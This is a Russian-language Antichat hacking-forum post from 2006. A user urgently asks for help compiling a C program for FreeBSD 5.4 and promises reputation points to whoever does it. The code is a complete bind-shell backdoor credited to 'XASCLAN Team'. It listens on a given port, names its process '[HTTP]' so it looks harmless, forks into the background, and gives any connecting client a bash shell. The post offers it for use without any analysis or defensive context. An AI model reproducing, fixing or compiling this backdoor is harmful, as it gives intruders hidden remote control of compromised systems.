Antichat снова доступен.
Форум Antichat (Античат) возвращается и снова открыт для пользователей.
Здесь обсуждаются безопасность, программирование, технологии и многое другое.
Сообщество снова собирается вместе.
Новый адрес: forum.antichat.xyz

18.03.2006, 22:58
|
|
Участник форума
Регистрация: 21.02.2006
Сообщений: 285
Провел на форуме: 1347867
Репутация:
408
|
|
Помогите откомпилить!!
Срочно надо откомпилить под FreeBSD 5.4!!!
Первому гарантированый + !! =)
Код:
#include <stdio.h>
#include <unistd.h>
#include <stdlib.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <strings.h>
#include <sys/types.h>
char shell[] = "/bin/bash";
char cmdname[] = "[HTTP]";
char message[] = "\n..::[XASCLAN Team : Bind Shell]::..\n";
int main(int arg, char **param[])
{
int sd, datas;
int sins, port;
char c;
struct sockaddr_in saddr;
struct sockaddr_in saddrd;
sins = 0x10; // Size
/* Arguments */
if( arg != 2)
{
printf("Usage: %s <port>\n", param[0]);
exit(0);
}
/* Port check */
port = atoi((char *)param[1]);
if( port > 65535 | port < 1)
{
fprintf(stderr, "Error: Ports must be > 0 and < 65535\n");
exit(1);
}
/* Creat socket struct */
bzero(&saddr, sizeof(saddr));
saddr.sin_family = AF_INET;
saddr.sin_port = htons(port);
saddr.sin_addr.s_addr = INADDR_ANY;
/* Creat socket */
if(( sd = socket( AF_INET, SOCK_STREAM, 0)) < 0)
{
fprintf(stderr, "Error: Creat Socket Failed\n");
exit(1);
}
/* Fork */
if( fork() == 0)
{
/* Bind port */
if( bind(sd, (struct sockaddr *)&saddr, sizeof(saddr)) < 0)
{
close(sd);
fprintf(stderr, "Error: Bind Failed\n");
exit(1);
}
/* Listen port */
if( listen(sd, 5) < 0) // Listen port. Max active connections = 5
{
close(sd);
fprintf(stderr, "Error: Listen Failed\n");
exit(1);
}
for(;;)
{
if(( datas = accept(sd, (struct sockaddr *) &saddrd, &sins)) > 0)
{
write(datas, message, sizeof(message));
dup2(datas, 0);
dup2(datas, 1);
dup2(datas, 2);
execl( shell, cmdname, 0);
close(datas);
exit(0);
}
}
}
close(datas);
}
|
|
|
|
|
Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
|
|
|
|